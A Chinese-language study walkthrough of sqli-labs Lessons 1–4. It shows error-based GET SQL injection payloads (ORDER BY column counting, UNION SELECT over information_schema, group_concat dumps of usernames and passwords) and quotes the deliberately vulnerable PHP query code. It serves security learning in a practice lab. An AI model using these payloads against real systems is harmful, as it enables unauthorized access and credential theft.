Sqli-labs学习1
Less-1:基于错误的get单引号字符串
Get-Error based -Single Quotes-String
- 首先我们输入id=2-1和id=2发现输出相同说明是字符型注入
- 我们首先尝试加引号闭合,但报错
查看php源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
此处可以看出报错''1" LIMIT 0,1
' at line 1加重部分是报错内容,说明是用单引号闭合
查询字段数目
/?id=1' order by 4--+
-- (含空格)在sql语句中起注释作用;+是空格的意思(%20也是),空格必须要有
或者输入%23表示#
此处判断4列时报错,说明只有3列
burp suite中的输入:
使用联合注入判断数据显示点
/?id=-1' union select 1,2,3 --+
为了使联合语句的后句执行,需要使第一个语句错误,输入错误的负数id,可以看到第二列对应用户名,第三列对应密码
可控注入为2,3
- 显示数据库名,用database()和user(), 可以看到数据库名为security
扩展:系统函数
- version():Mysql版本
- user():数据库用户名
- database():数据库名
- @@datadir:数据库路径
- @@version_compile_os:操作系统版本
- 再看数据表名
concat() 将多个字段连接成一个字符串,eg:concat(a.name,b.age), concat('~',a.name,b.age)使用特定符号分隔
group_concat() 将分组中的值连接成一个字符串,默认采用逗号分隔
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
此例中采用where筛选出所有数据库名满足的表成为一个分组,将它们的名称都连起来返回一个字符串
再来看字段名,获取字段名同上方法
/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看用户名和密码
/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
或者
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username
/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
Less-2:基于错误的get整型注入
Get-Error based -Intiger based
- 首先我们输入id=2-1和id=2发现输出不同说明整型注入
- 其实后面输入和第一个一样,只不过不再输单引号把id封住了
/Less-2/id=-1 union select 1,group_concat(username),group_concat(password) from users--+
Less-3:基于错误的get单引号变形字符型注入
Get-Error based -Single Quotes with twist-String
首先+'发现报错如下,说明需要一个单引号+后小括号来闭合语句
查看源码
$id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH);
发现使用括号闭合
- 输入/?id=1)--+没有报错说明正确
- 按照Less-1的方法加入union联合查询
/Less-3/?id=-1') union select 1,database(),group_concat('~',username,password) from users--+
Less-4:基于错误的GET双引号字符型注入
Get-Error based -Double Quotes-String
同上,添加双引号时报错,同时看到有括号,故使用双引号+后括号
查看源码
$id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH);
发现使用双引号加括号闭合
- 输入/?id=1")--+没有报错说明正确
- 按照Less-1的方法加入union联合查询
/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+